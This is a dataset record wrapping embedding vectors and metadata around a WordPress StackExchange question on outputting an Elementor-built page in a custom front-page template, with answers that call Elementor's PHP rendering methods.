[ 0.04864501953125, 0.022857666015625, -0.0175628662109375, -0.0277862548828125, 0.041168212890625, -0.0271453857421875, 0.034332275390625, -0.022003173828125, 0.006092071533203125, 0.00215911865234375, -0.060699462890625, 0.007770538330078125, -0.033599853515625, -0.00875091552734375, -0.0024662017822265625, -0.047027587890625, 0.01268768310546875, -0.003421783447265625, 0.025970458984375, -0.0182037353515625, 0.00815582275390625, -0.0234375, 0.04925537109375, 0.00848388671875, 0.0255126953125, -0.01959228515625, 0.04638671875, -0.0296630859375, 0.027069091796875, -0.00772857666015625, 0.0250396728515625, -0.0157012939453125, 0.0022411346435546875, 0.037689208984375, -0.050384521484375, -0.0782470703125, -0.0223541259765625, 0.024200439453125, -0.002727508544921875, -0.007434844970703125, 0.04425048828125, -0.0147705078125, 0.0159912109375, 0.027069091796875, -0.00228118896484375, -0.065673828125, 0.0728759765625, -0.026153564453125, 0.002925872802734375, -0.00537109375, 0.0174560546875, -0.01403045654296875, 0.033111572265625, 0.0013551712036132812, -0.00670623779296875, 0.0274658203125, -0.00594329833984375, -0.003452301025390625, 0.0391845703125, 0.02471923828125, -0.0255279541015625, -0.022247314453125, 0.0207672119140625, -0.038299560546875, -0.01561737060546875, -0.004985809326171875, -0.02947998046875, 0.0140380859375, 0.0129241943359375, -0.01397705078125, -0.003993988037109375, -0.00870513916015625, -0.011993408203125, -0.0006976127624511719, -0.03338623046875, 0.01763916015625, 0.01421356201171875, 0.01617431640625, 0.00827789306640625, 0.0076141357421875, -0.0296478271484375, -0.0252838134765625, 0.0019130706787109375, -0.041229248046875, 0.0006375312805175781, -0.02398681640625, -0.01529693603515625, 0.00958251953125, -0.032989501953125, -0.02020263671875, -0.028961181640625, -0.0012359619140625, -0.062164306640625, 0.02703857421875, -0.0185394287109375, 0.004123687744140625, -0.00492095947265625, 0.0160980224609375, -0.00833892822265625, 0.017333984375, 0.0260009765625, -0.05877685546875, 0.0482177734375, -0.027374267578125, -0.0009102821350097656, 0.11529541015625, 0.0121002197265625, -0.021820068359375, -0.045654296875, -0.01477813720703125, 0.033599853515625, -0.06927490234375, 0.0300140380859375, -0.05120849609375, 0.0193328857421875, 0.0293426513671875, 0.0174407958984375, 0.022796630859375, 0.0150909423828125, 0.0015125274658203125, -0.010498046875, 0.0193634033203125, -0.052734375, 0.0234375, 0.0031986236572265625, -0.01444244384765625, 0.018402099609375, 0.01496124267578125, -0.0211944580078125, -0.010772705078125, 0.002166748046875, 0.057281494140625, 0.029541015625, -0.0055999755859375, -0.047821044921875, 0.005573272705078125, 0.045806884765625, 0.01904296875, -0.020172119140625, 0.00815582275390625, 0.045074462890625, -0.040496826171875, -0.055908203125, 0.002674102783203125, 0.028594970703125, 0.04864501953125, 0.00943756103515625, -0.03057861328125, 0.0264129638671875, -0.024627685546875, -0.0266265869140625, -0.03704833984375, -0.027801513671875, 0.01230621337890625, 0.060089111328125, 0.0300445556640625, -0.0026416778564453125, 0.00962066650390625, 0.0252685546875, 0.0343017578125, 0.03765869140625, -0.008209228515625, 0.0033111572265625, 0.033172607421875, 0.0174560546875, -0.013275146484375, -0.028411865234375, 0.0013561248779296875, 0.0251922607421875, 0.0264739990234375, 0.01277923583984375, -0.01313018798828125, 0.0290985107421875, 0.004802703857421875, 0.00434112548828125, 0.00785064697265625, 0.0225067138671875, 0.06463623046875, 0.01512908935546875, 0.0036773681640625, -0.0012750625610351562, -0.028839111328125, 0.11572265625, -0.0494384765625, -0.0001710653305053711, 0.0068206787109375, 0.00628662109375, 0.00760650634765625, 0.01300048828125, 0.011016845703125, -0.0006575584411621094, 0.036224365234375, -0.00391387939453125, 0.017333984375, -0.0151824951171875, -0.0274658203125, 0.003204345703125, 0.013275146484375, -0.007781982421875, 0.0020313262939453125, -0.00653839111328125, -0.002288818359375, 0.00547027587890625, -0.037567138671875, -0.047088623046875, -0.0106201171875, -0.013397216796875, 0.0389404296875, 0.005146026611328125, 0.0016965866088867188, 0.017364501953125, 0.019012451171875, -0.03570556640625, 0.0030879974365234375, -0.020355224609375, 0.0195465087890625, -0.00396728515625, 0.03436279296875, -0.0005140304565429688, 0.0201873779296875, -0.014373779296875, 0.002651214599609375, -0.0133056640625, -0.0091552734375, 0.03125, -0.035858154296875, 0.01264190673828125, -0.02874755859375, 0.017181396484375, 0.0002034902572631836, -0.007049560546875, 0.046905517578125, -0.047637939453125, -0.006999969482421875, -0.0226898193359375, 0.0124053955078125, -0.005474090576171875, 0.0158233642578125, 0.0007748603820800781, 0.0206451416015625, 0.035003662109375, 0.00669097900390625, 0.003124237060546875, 0.0037689208984375, 0.026611328125, -0.04071044921875, 0.0091705322265625, -0.004085540771484375, 0.0472412109375, 0.12176513671875, -0.01380157470703125, 0.004947662353515625, -0.0194244384765625, -0.037200927734375, -0.0151214599609375, 0.0284881591796875, -0.0014905929565429688, -0.00897979736328125, 0.017578125, -0.022216796875, -0.0012865066528320312, -0.054290771484375, -0.0194549560546875, -0.0273590087890625, -0.044097900390625, -0.0218353271484375, -0.0159149169921875, -0.01061248779296875, -0.01043701171875, -0.0312347412109375, 0.0462646484375, 0.033355712890625, -0.0120086669921875, -0.0118408203125, 0.0428466796875, -0.005367279052734375, -0.035614013671875, 0.01123809814453125, 0.00948333740234375, 0.00024068355560302734, -0.01392364501953125, -0.0204620361328125, -0.0137939453125, 0.00154876708984375, 0.00384521484375, -0.031768798828125, 0.0347900390625, 0.0277557373046875, -0.030364990234375, -0.040283203125, -0.005229949951171875, 0.042236328125, -0.0024662017822265625, 0.0322265625, -0.0166473388671875, -0.01331329345703125, -0.04058837890625, -0.0121917724609375, 0.01727294921875, -0.041656494140625, -0.01184844970703125, 0.039031982421875, 0.019989013671875, -0.0285797119140625, -0.00258636474609375, 0.0115203857421875, -0.0027446746826171875, 0.03594970703125, 0.0236053466796875, -0.047088623046875, 0.0251312255859375, 0.03497314453125, 0.022186279296875, 0.00939178466796875, 0.0277099609375, -0.01422119140625, -0.005878448486328125, 0.02496337890625, -0.04443359375, -0.036102294921875, -0.05303955078125, -0.040679931640625, 0.0195159912109375, -0.01080322265625, -0.00594329833984375, 0.00646209716796875, 0.0069427490234375, 0.0158843994140625, -0.02655029296875, -0.0226593017578125, -0.0229339599609375, -0.04827880859375, -0.041778564453125, 0.040313720703125, -0.000782012939453125, 0.0017490386962890625, 0.007717132568359375, 0.0011425018310546875, -0.0008058547973632812, 0.0027904510498046875, -0.0169219970703125, 0.0440673828125, -0.00791168212890625, -0.063232421875, -0.01361083984375, -0.044464111328125, 0.01497650146484375, -0.015716552734375, -0.0163421630859375, -0.00873565673828125, 0.03076171875, 0.00351715087890625, 0.02294921875, -0.0015096664428710938, 0.01171112060546875, 0.01488494873046875, -0.026031494140625, -0.0083770751953125, 0.0093841552734375, -0.049346923828125, 0.031219482421875, -0.0156707763671875, -0.02874755859375, -0.053619384765625, 0.0110321044921875, -0.01171112060546875, -0.007335662841796875, -0.05645751953125, 0.00984954833984375, -0.0018911361694335938, 0.011688232421875, -0.0102691650390625, 0.001392364501953125, -0.0106353759765625, -0.005466461181640625, 0.0004925727844238281, 0.007686614990234375, -0.03131103515625, 0.0274658203125, -0.0018777847290039062, -0.0022640228271484375, -0.01535797119140625, 0.0117034912109375, -0.04791259765625, -0.039703369140625, 0.048583984375, -0.006748199462890625, -0.0086669921875, -0.01177215576171875, -0.0233612060546875, 0.0015783309936523438, 0.060546875, -0.00951385498046875, 0.01085662841796875, 0.060577392578125, 0.006641387939453125, -0.056640625, 0.01102447509765625, -0.1241455078125, -0.0026264190673828125, 0.028778076171875, -0.03369140625, -0.042724609375, 0.002407073974609375, 0.002803802490234375, -0.0340576171875, 0.0333251953125, -0.02655029296875, 0.041595458984375, -0.01068115234375, 0.030609130859375, -0.0036792755126953125, 0.029632568359375, -0.04815673828125, -0.005641937255859375, 0.004611968994140625, -0.0291595458984375, -0.0033321380615234375, -0.0242462158203125, 0.037261962890625, 0.050933837890625, -0.0711669921875, -0.0018329620361328125, 0.01409149169921875, -0.020050048828125, 0.0093231201171875, 0.0001575946807861328, 0.0364990234375, -0.00991058349609375, -0.026611328125, -0.00630950927734375, -0.0423583984375, 0.0130157470703125, 0.003162384033203125, -0.029632568359375, 0.01010894775390625, -0.041046142578125, -0.00820159912109375, -0.0131988525390625, -0.0301361083984375, -0.0531005859375, -0.0187225341796875, -0.01549530029296875, 0.007259368896484375, 0.0047149658203125, -0.0115203857421875, -0.0177001953125, -0.060638427734375, 0.07275390625, -0.015777587890625, 0.01242828369140625, -0.0131072998046875, 0.09130859375, 0.00972747802734375, -0.0270538330078125, -0.00746917724609375, 0.02850341796875, 0.03564453125, -0.00853729248046875, 0.04107666015625, 0.035064697265625, -0.0079345703125, 0.0428466796875, 0.015655517578125, 0.025421142578125, 0.0012845993041992188, -0.0131378173828125, 0.0022430419921875, -0.0303955078125, 0.0250396728515625, 0.0284423828125, -0.033660888671875, 0.013458251953125, 0.0008339881896972656, -0.007904052734375, 0.06085205078125, 0.00449371337890625, -0.06268310546875, 0.037811279296875, 0.035430908203125, -0.073974609375, 0.02099609375, -0.05780029296875, 0.01509857177734375, -0.0076904296875, 0.0168609619140625, 0.0202178955078125, -0.00464630126953125, -0.036041259765625, -0.0186004638671875, -0.07122802734375, 0.048675537109375, 0.0001329183578491211, -0.0047607421875, 0.0102691650390625, -0.0009593963623046875, -0.03369140625, 0.12396240234375, 0.0083465576171875, -0.06439208984375, 0.04644775390625, -0.02587890625, 0.0256500244140625, 0.0260772705078125, 0.00189208984375, 0.0467529296875, 0.044036865234375, 0.00994873046875, -0.0039520263671875, 0.006595611572265625, 0.01055908203125, -0.042388916015625, -0.04071044921875, -0.0281524658203125, -0.01316070556640625, -0.001979827880859375, 0.032989501953125, -0.03265380859375, 0.0238800048828125, -0.0036525726318359375, 0.0418701171875, 0.061676025390625, 0.0310821533203125, 0.027557373046875, -0.0256805419921875, -0.022857666015625, 0.0189208984375, -0.019195556640625, 0.015380859375, 0.0283203125, -0.0164794921875, -0.02874755859375, 0.0031719207763671875, 0.00890350341796875, 0.0303955078125, -0.0032501220703125, -0.004024505615234375, 0.0012254714965820312, -0.0170745849609375, -0.049560546875, 0.026458740234375, 0.01418304443359375, -0.02398681640625, -0.043701171875, 0.0301971435546875, -0.005664825439453125, 0.03643798828125, 0.04083251953125, 0.024749755859375, 0.03204345703125, -0.0177764892578125, -0.0262298583984375, -0.0301513671875, -0.03277587890625, -0.030548095703125, 0.031951904296875, 0.004405975341796875, -0.0120086669921875, -0.023345947265625, 0.0204925537109375, -0.01251983642578125, -0.0163421630859375, -0.0218505859375, 0.03363037109375, -0.0196380615234375, -0.0144500732421875, 0.0653076171875, 0.0202484130859375, 0.036102294921875, -0.04248046875, -0.0440673828125, -0.04119873046875, -0.02911376953125, -0.0091094970703125, -0.017822265625, 0.037933349609375, 0.0198974609375, 0.01068115234375, -0.00537872314453125, -0.028594970703125, -0.015228271484375, 0.0229034423828125, 0.0284271240234375, -0.0027751922607421875, 0.0025730133056640625, 0.05126953125, -0.0257110595703125, 0.0657958984375, 0.018585205078125, 0.031036376953125, -0.026214599609375, -0.03826904296875, 0.01277923583984375, -0.02093505859375, -0.0180511474609375, -0.05438232421875, 0.020050048828125, 0.003437042236328125, 0.042022705078125, -0.01050567626953125, -0.0220184326171875, -0.005023956298828125, -0.002254486083984375, -0.01012420654296875, 0.039337158203125, 0.034271240234375, -0.0246429443359375, 0.0295562744140625, -0.00847625732421875, -0.016571044921875, -0.006214141845703125, 0.01531982421875, -0.0301055908203125, 0.0079345703125, -0.03680419921875, 0.0032634735107421875, -0.05499267578125, 0.0430908203125, -0.0132904052734375, 0.00847625732421875, 0.00482177734375, -0.001495361328125, 0.00469207763671875, -0.054046630859375, 0.036834716796875, -0.09185791015625, -0.0006256103515625, -0.0018892288208007812, -0.000896453857421875, -0.048553466796875, -0.036285400390625, -0.025360107421875, -0.00841522216796875, 0.06500244140625, 0.0259857177734375, -0.1005859375, -0.00658416748046875, -0.0215606689453125, -0.002933502197265625, 0.002490997314453125, 0.029876708984375, -0.01169586181640625, 0.0127716064453125, -0.0284423828125, -0.032806396484375, -0.0221710205078125, 0.0002620220184326172, 0.0037555694580078125, 0.00356292724609375, -0.01322174072265625, 0.036376953125, -0.003932952880859375, 0.0028591156005859375, -0.006465911865234375, -0.0206451416015625, 0.03143310546875, -0.01187896728515625, 0.00457763671875, 0.007541656494140625, -0.0305938720703125, -0.0592041015625, -0.0136871337890625, -0.00592041015625, -0.04119873046875, 0.00511932373046875, 0.0198516845703125, 0.05853271484375, 0.048370361328125, 0.0247039794921875, -0.0155487060546875, 0.0189361572265625, 0.03436279296875, 0.009490966796875, -0.0085906982421875, 0.0125579833984375, 0.01291656494140625, -0.032958984375, 0.010711669921875, -0.0192718505859375, 0.013763427734375, -0.016571044921875, -0.022491455078125, 0.053131103515625, -0.00801849365234375, -0.003353118896484375, 0.038604736328125, 0.0384521484375, -0.01702880859375, -0.0146942138671875, 0.017730712890625, -0.046234130859375, -0.0237579345703125, 0.004547119140625, -0.0418701171875, 0.0021820068359375, -0.00296783447265625, -0.007289886474609375, 0.07232666015625, -0.0018186569213867188, -0.014373779296875, 0.02154541015625, 0.036712646484375, -0.0177001953125, 0.032196044921875, -0.036773681640625, 0.05438232421875, 0.016754150390625, 0.0196533203125, -0.006023406982421875, 0.00848388671875, 0.01265716552734375, 0.004161834716796875, 0.0377197265625, 0.01168060302734375, -0.06195068359375, -0.032135009765625, -0.00994110107421875, 0.0155181884765625, -0.00418853759765625, 0.0667724609375, -0.01444244384765625, 0.00823974609375, -0.00817108154296875, -0.01476287841796875, 0.01534271240234375, -0.0161895751953125, -0.0565185546875, 0.00814056396484375, -0.019287109375, -0.0189361572265625, 0.0012712478637695312, 0.013885498046875, 0.01387786865234375, -0.011993408203125, -0.02215576171875, -0.029876708984375, -0.004245758056640625, 0.006526947021484375, -0.0115203857421875, 0.01389312744140625, 0.016021728515625, -0.027313232421875, 0.03558349609375, -0.006305694580078125, -0.0151214599609375, -0.01401519775390625, 0.01371002197265625, -0.041015625, -0.0027675628662109375, -0.01471710205078125, 0.0443115234375, -0.0318603515625, 0.06854248046875, 0.015716552734375, 0.03131103515625, -0.0731201171875, -0.040191650390625, 0.0692138671875, 0.09912109375, -0.0419921875, -0.06689453125, 0.01093292236328125, 0.031036376953125, 0.04547119140625, 0.045623779296875, 0.09130859375, -0.0196990966796875, 0.0362548828125, 0.033905029296875, -0.0210113525390625, -0.02239990234375, 0.000946044921875, 0.019775390625, 0.06573486328125, 0.0020618438720703125, 0.007663726806640625, -0.031585693359375, 0.052490234375, 0.0289764404296875, -0.030670166015625, -0.02911376953125, 0.0193328857421875, 0.0810546875, 0.0209808349609375, -0.040374755859375, 0.039794921875, 0.057098388671875, 0.0178375244140625, -0.041015625, -0.0145111083984375, 0.035308837890625, 0.0390625, -0.036285400390625, -0.006206512451171875, 0.043121337890625, 0.07391357421875, -0.023712158203125, -0.053985595703125, 0.0299835205078125, -0.0030975341796875, -0.034088134765625, -0.010833740234375, -0.0009889602661132812, 0.025054931640625, 0.015411376953125, -0.00662994384765625, 0.05523681640625, 0.007511138916015625, -0.04827880859375, 0.03289794921875, -0.019561767578125, -0.044219970703125, 0.05352783203125, -0.0207061767578125, 0.09918212890625, -0.02410888671875, -0.069091796875, -0.0073089599609375, -0.0082550048828125, -0.073486328125, 0.01485443115234375, 0.047637939453125, -0.01493072509765625, -0.002071380615234375, 0.0196533203125, 0.004032135009765625, 0.01554107666015625, -0.01568603515625, -0.004169464111328125, -0.0433349609375, 0.02069091796875, -0.01153564453125, -0.0285797119140625, 0.004848480224609375, 0.0122222900390625, -0.00405120849609375, -0.00797271728515625, 0.03033447265625, 0.00637054443359375, 0.004352569580078125, -0.0199127197265625, -0.0341796875, 0.00859832763671875, -0.016845703125, -0.02239990234375, -0.01471710205078125, -0.0135955810546875, 0.00646209716796875, -0.042449951171875, 0.0258941650390625, 0.0014333724975585938, -0.001842498779296875, 0.033355712890625, -0.0223846435546875, 0.002468109130859375, -0.009613037109375, 0.004474639892578125, -0.0233154296875, -0.04644775390625, -0.010101318359375, 0.043670654296875, 0.01279449462890625, 0.0237579345703125, -0.055908203125, 0.033660888671875, -0.021942138671875, -0.058380126953125, 0.005584716796875, -0.0548095703125, -0.017486572265625, 0.010955810546875, 0.04925537109375, -0.01557159423828125, 0.0242156982421875, -0.0119781494140625, 0.006542205810546875, 0.0179595947265625, 0.0028076171875, 0.04034423828125, -0.08282470703125, -0.00641632080078125, 0.04559326171875, 0.043487548828125, 0.00464630126953125, 0.0111236572265625, 0.00656890869140625, -0.033294677734375, 0.02545166015625, -0.019317626953125, -0.036102294921875, -0.01751708984375, -0.02789306640625, 0.0009870529174804688, -0.01824951171875, -0.068359375, -0.06744384765625, 0.0098114013671875, 0.0220794677734375, 0.0142974853515625, -0.06488037109375, 0.0255279541015625, -0.0088348388671875, 0.06658935546875, -0.01146697998046875, -0.04840087890625, 0.00738525390625, 0.04144287109375, 0.01108551025390625, -0.0297698974609375, -0.0099029541015625, 0.03192138671875, -0.004913330078125, 0.006439208984375, 0.03033447265625, 0.005859375, -0.0203857421875, 0.0130157470703125, -0.02850341796875, 0.050384521484375, -0.056854248046875, -0.0006189346313476562, -0.0245819091796875, 0.0116424560546875, -0.013458251953125, -0.0232086181640625, 0.0210418701171875, -0.030975341796875, -0.038299560546875, -0.041229248046875, 0.006519317626953125, 0.00566864013671875, -0.06524658203125, -0.1373291015625, 0.034942626953125, -0.026275634765625, -0.0521240234375, -0.0556640625, 0.016845703125, 0.002349853515625, -0.031524658203125, -0.029998779296875, -0.00003445148468017578, -0.0086212158203125, 0.048675537109375, 0.0221099853515625, -0.042022705078125, 0.0333251953125, 0.030731201171875, -0.0882568359375, 0.0271453857421875, 0.0179901123046875, -0.007442474365234375, 0.045989990234375, -0.016876220703125, 0.020263671875, 0.04217529296875, -0.051300048828125, -0.0204620361328125, -0.047393798828125, -0.01558685302734375, -0.01277923583984375, -0.044189453125, 0.01812744140625, -0.00897216796875, 0.01458740234375, 0.0094146728515625, -0.0159912109375, -0.0201263427734375, -0.039794921875, -0.046142578125, 0.011383056640625, -0.03179931640625, 0.00238800048828125, -0.06695556640625, 0.00604248046875, -0.0132293701171875, 0.0119476318359375, -0.00795745849609375, -0.0113525390625, -0.01219940185546875, -0.0281829833984375, 0.0092620849609375, -0.0038471221923828125, 0.0005478858947753906, 0.0182647705078125, 0.041290283203125, -0.0396728515625, -0.03570556640625, 0.012664794921875, -0.007099151611328125, -0.0177764892578125, -0.00734710693359375, 0.033355712890625, 0.0027618408203125, -0.0266571044921875, 0.00972747802734375, 0.0121917724609375, 0.0751953125, -0.023101806640625, -0.05621337890625, -0.0055389404296875, 0.048065185546875, 0.002864837646484375, 0.07525634765625, -0.0266876220703125, 0.0797119140625, 0.0357666015625, 0.038330078125, 0.01812744140625, -0.048187255859375, -0.0211639404296875, 0.03515625, -0.00531768798828125, -0.033782958984375, 0.00093841552734375, -0.01399993896484375, -0.0155487060546875, 0.0274505615234375, -0.02008056640625, -0.05108642578125, 0.039886474609375, -0.01180267333984375, 0.010955810546875, 0.01715087890625 ]
d79b9af018674fc65ba1a3228ab746ecdad4b704
Wordpress Stackexchange Q: Echoing Elementor page content in template, but it doesn't get styles and some widgets are missing I built a page with Elementor, and I want to use it as my home page. When I use a static home page with my theme, it still gets wrapped with the header, footer, and content container, which I don't want in this case. I've built a simple front-page.php template to try to just output the contents of this page. <!DOCTYPE html> <html <?php language_attributes(); ?> class="no-js no-svg"> <head> <meta charset="<?php bloginfo( 'charset' ); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <?php $page = get_page_by_path( 'home' ); $content = apply_filters('the_content', $page->post_content); echo $content; get_footer(); ?> </body> <?php wp_footer(); ?> This works to output the content, but I don't get the styles and my posts widgets are MIA. How can I modify this template to also get the styles and so that all the widgets will be present? A: Here is the way, $contentElementor = ""; if (class_exists("\\Elementor\\Plugin")) { $post_ID = 124; $pluginElementor = \Elementor\Plugin::instance(); $contentElementor = $pluginElementor->frontend->get_builder_content($post_ID); } echo $contentElementor;
Q: Echoing Elementor page content in template, but it doesn't get styles and some widgets are missing I built a page with Elementor, and I want to use it as my home page. When I use a static home page with my theme, it still gets wrapped with the header, footer, and content container, which I don't want in this case. I've built a simple front-page.php template to try to just output the contents of this page. <!DOCTYPE html> <html <?php language_attributes(); ?> class="no-js no-svg"> <head> <meta charset="<?php bloginfo( 'charset' ); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <?php $page = get_page_by_path( 'home' ); $content = apply_filters('the_content', $page->post_content); echo $content; get_footer(); ?> </body> <?php wp_footer(); ?> This works to output the content, but I don't get the styles and my posts widgets are MIA. How can I modify this template to also get the styles and so that all the widgets will be present? A: Here is the way, $contentElementor = ""; if (class_exists("\\Elementor\\Plugin")) { $post_ID = 124; $pluginElementor = \Elementor\Plugin::instance(); $contentElementor = $pluginElementor->frontend->get_builder_content($post_ID); } echo $contentElementor; A: get_builder_content is an internal method, please use get_builder_content_for_display(). $frontend = new \Elementor\Frontend(); $page_id = 100; echo $frontend->get_builder_content_for_display( $page_id, $with_css = true );
wordpress
{ "language": "en", "length": 209, "provenance": "stackexchange_00019.jsonl.gz:487435", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/307783" }
[ -0.010833740234375, 0.01233673095703125, -0.02593994140625, 0.006256103515625, 0.004032135009765625, -0.0191192626953125, -0.01332855224609375, -0.06610107421875, 0.0155487060546875, 0.0183258056640625, -0.0214996337890625, 0.0031909942626953125, -0.00452423095703125, -0.0298614501953125, 0.0212249755859375, -0.00428009033203125, 0.03765869140625, -0.0013685226440429688, 0.0309295654296875, 0.013916015625, 0.0104827880859375, 0.03131103515625, 0.005695343017578125, 0.032958984375, 0.01898193359375, -0.0596923828125, 0.058074951171875, -0.001873016357421875, 0.0077056884765625, -0.01171112060546875, 0.01837158203125, -0.00516510009765625, 0.01763916015625, 0.033538818359375, -0.048431396484375, -0.03692626953125, -0.0070648193359375, 0.0131988525390625, -0.00992584228515625, 0.0211334228515625, 0.00136566162109375, 0.00666046142578125, 0.01532745361328125, 0.038360595703125, -0.01064300537109375, -0.048828125, -0.0031585693359375, -0.0509033203125, 0.00730133056640625, 0.03192138671875, 0.0009288787841796875, -0.043670654296875, -0.006275177001953125, -0.018402099609375, 0.004390716552734375, 0.003940582275390625, -0.017333984375, -0.019287109375, 0.028045654296875, -0.007415771484375, -0.0170440673828125, -0.0272979736328125, 0.038360595703125, -0.006656646728515625, -0.0283050537109375, 0.0178070068359375, 0.0804443359375, -0.00470733642578125, -0.080078125, -0.041259765625, 0.0303497314453125, -0.0157928466796875, 0.01251220703125, -0.015472412109375, -0.016326904296875, -0.01263427734375, 0.00603485107421875, -0.024505615234375, 0.0186767578125, -0.013336181640625, -0.01180267333984375, 0.08502197265625, -0.06353759765625, -0.04925537109375, 0.0251312255859375, -0.0119781494140625, -0.026458740234375, -0.0310821533203125, 0.004657745361328125, 0.01267242431640625, 0.00018012523651123047, -0.0345458984375, 0.03851318359375, 0.00696563720703125, 0.00463104248046875, -0.04742431640625, 0.0019245147705078125, 0.036865234375, -0.035797119140625, 0.0135040283203125, 0.01715087890625, -0.053619384765625, 0.0867919921875, -0.05096435546875, 0.017852783203125, 0.039276123046875, 0.0176849365234375, 0.021240234375, 0.0325927734375, 0.011474609375, 0.017242431640625, 0.032470703125, -0.033721923828125, -0.0304718017578125, 0.0100250244140625, 0.0433349609375, -0.032562255859375, 0.0151214599609375, 0.005634307861328125, 0.01425933837890625, 0.01171112060546875, 0.05438232421875, 0.05010986328125, -0.047210693359375, 0.0016841888427734375, 0.0174102783203125, -0.0163116455078125, -0.08807373046875, 0.04547119140625, -0.01245880126953125, -0.0256500244140625, 0.0333251953125, 0.04315185546875, -0.0289764404296875, -0.0135650634765625, -0.016754150390625, 0.0003407001495361328, -0.0159912109375, -0.0233001708984375, 0.027496337890625, -0.0191650390625, -0.02996826171875, 0.0092315673828125, -0.0292816162109375, -0.01055908203125, 0.018280029296875, 0.0364990234375, -0.00014340877532958984, -0.030914306640625, -0.0570068359375, 0.01953125, -0.02490234375, 0.018768310546875, 0.002460479736328125, 0.02996826171875, -0.04180908203125, 0.031036376953125, -0.032196044921875, 0.0212860107421875, -0.0172271728515625, -0.0169830322265625, 0.0058441162109375, 0.0286712646484375, -0.017242431640625, -0.006328582763671875, -0.035247802734375, -0.0038928985595703125, 0.004642486572265625, 0.0238037109375, 0.055633544921875, 0.0180816650390625, -0.04901123046875, 0.019317626953125, 0.027557373046875, -0.01401519775390625, 0.028656005859375, -0.025238037109375, 0.003826141357421875, 0.04559326171875, 0.0035247802734375, -0.025146484375, -0.0216217041015625, 0.07843017578125, -0.0234375, -0.050018310546875, -0.0039520263671875, 0.0301971435546875, 0.055084228515625, 0.0082550048828125, 0.0281219482421875, 0.03704833984375, -0.005756378173828125, -0.0360107421875, 0.04571533203125, -0.007358551025390625, -0.012176513671875, -0.035491943359375, 0.010589599609375, -0.0204315185546875, -0.0335693359375, 0.0213470458984375, -0.0039215087890625, -0.00042700767517089844, -0.0013866424560546875, -0.0295562744140625, -0.026275634765625, 0.00580596923828125, 0.0017385482788085938, -0.00940704345703125, 0.03173828125, 0.02001953125, 0.03662109375, -0.043365478515625, -0.033599853515625, -0.054168701171875, 0.0006465911865234375, 0.00894927978515625, 0.050079345703125, 0.00025463104248046875, 0.022796630859375, -0.0034275054931640625, -0.04632568359375, -0.01287841796875, 0.0438232421875, 0.045928955078125, 0.0091094970703125, -0.01490020751953125, -0.0222320556640625, 0.006664276123046875, 0.0265045166015625, -0.08447265625, 0.03607177734375, -0.0014142990112304688, 0.0426025390625, -0.047149658203125, -0.0082550048828125, -0.01422882080078125, 0.023956298828125, 0.005428314208984375, 0.01245880126953125, 0.022979736328125, 0.0789794921875, -0.030914306640625, -0.01016998291015625, 0.10760498046875, -0.0221405029296875, -0.0310211181640625, 0.01369476318359375, 0.007061004638671875, 0.0277099609375, -0.0161590576171875, 0.007175445556640625, 0.0136260986328125, -0.043487548828125, -0.00433349609375, 0.041412353515625, 0.007175445556640625, 0.017974853515625, -0.039794921875, 0.01088714599609375, 0.014190673828125, 0.0210723876953125, -0.0299835205078125, 0.01088714599609375, 0.006443023681640625, 0.026336669921875, 0.024383544921875, 0.0301971435546875, -0.0589599609375, 0.0237579345703125, 0.0277557373046875, 0.06658935546875, 0.021942138671875, 0.043731689453125, -0.040008544921875, 0.0274810791015625, -0.01230621337890625, -0.0297393798828125, 0.020782470703125, 0.0169830322265625, 0.0176239013671875, 0.037078857421875, 0.0015411376953125, 0.006557464599609375, -0.00893402099609375, -0.032379150390625, 0.01318359375, 0.053497314453125, 0.0648193359375, 0.046661376953125, 0.0140838623046875, 0.042633056640625, -0.022735595703125, 0.08551025390625, 0.02032470703125, -0.024505615234375, 0.04449462890625, -0.06982421875, 0.037872314453125, -0.0186614990234375, 0.07879638671875, 0.0654296875, 0.0144195556640625, -0.011749267578125, -0.0044708251953125, 0.025238037109375, 0.0267486572265625, -0.008697509765625, -0.021759033203125, -0.03240966796875, -0.0175018310546875, -0.01369476318359375, 0.0246124267578125, 0.04998779296875, -0.005123138427734375, -0.037109375, -0.015167236328125, 0.0296630859375, -0.0643310546875, -0.058624267578125, 0.030914306640625, -0.052459716796875, -0.01030731201171875, -0.00608062744140625, -0.038177490234375, -0.018402099609375, 0.03436279296875, -0.01209259033203125, 0.0024318695068359375, -0.04498291015625, -0.069580078125, -0.05853271484375, -0.103271484375, 0.0163116455078125, 0.00644683837890625, 0.039031982421875, -0.004428863525390625, 0.0455322265625, -0.0124053955078125, -0.07183837890625, -0.0281219482421875, 0.04107666015625, -0.013519287109375, -0.0076751708984375, -0.011444091796875, 0.0157012939453125, -0.032958984375, 0.0224609375, -0.0264129638671875, -0.01898193359375, 0.00434112548828125, -0.03692626953125, -0.015838623046875, -0.0306549072265625, -0.00803375244140625, 0.01428985595703125, 0.040863037109375, 0.0007958412170410156, 0.00959014892578125, -0.030914306640625, -0.0418701171875, -0.01117706298828125, -0.06451416015625, 0.04888916015625, 0.049896240234375, 0.0012311935424804688, 0.017852783203125, -0.0047454833984375, 0.00946044921875, 0.0064239501953125, 0.024627685546875, -0.0266876220703125, -0.0032291412353515625, -0.01617431640625, -0.00904083251953125, -0.000014185905456542969, -0.00058746337890625, -0.01451873779296875, 0.0548095703125, 0.00039577484130859375, 0.002376556396484375, -0.01348114013671875, 0.03271484375, -0.01513671875, -0.06396484375, 0.0303497314453125, -0.0169219970703125, 0.0005235671997070312, -0.0058441162109375, -0.00942230224609375, 0.007579803466796875, 0.06903076171875, -0.0654296875, -0.017913818359375, 0.01511383056640625, 0.0130767822265625, -0.032470703125, -0.0150604248046875, -0.039215087890625, -0.0016345977783203125, -0.0771484375, 0.00897216796875, -0.0036373138427734375, -0.0240478515625, -0.00362396240234375, 0.0015649795532226562, -0.0443115234375, -0.041534423828125, 0.0206298828125, 0.051177978515625, 0.0131378173828125, -0.00843048095703125, -0.01523590087890625, 0.00787353515625, 0.0032806396484375, -0.009490966796875, -0.10107421875, -0.026123046875, 0.01085662841796875, 0.05377197265625, -0.0290985107421875, 0.02581787109375, -0.055633544921875, 0.042144775390625, -0.0144805908203125, -0.006977081298828125, 0.024322509765625, 0.039154052734375, -0.02197265625, -0.0230865478515625, 0.01345062255859375, -0.037506103515625, -0.003383636474609375, 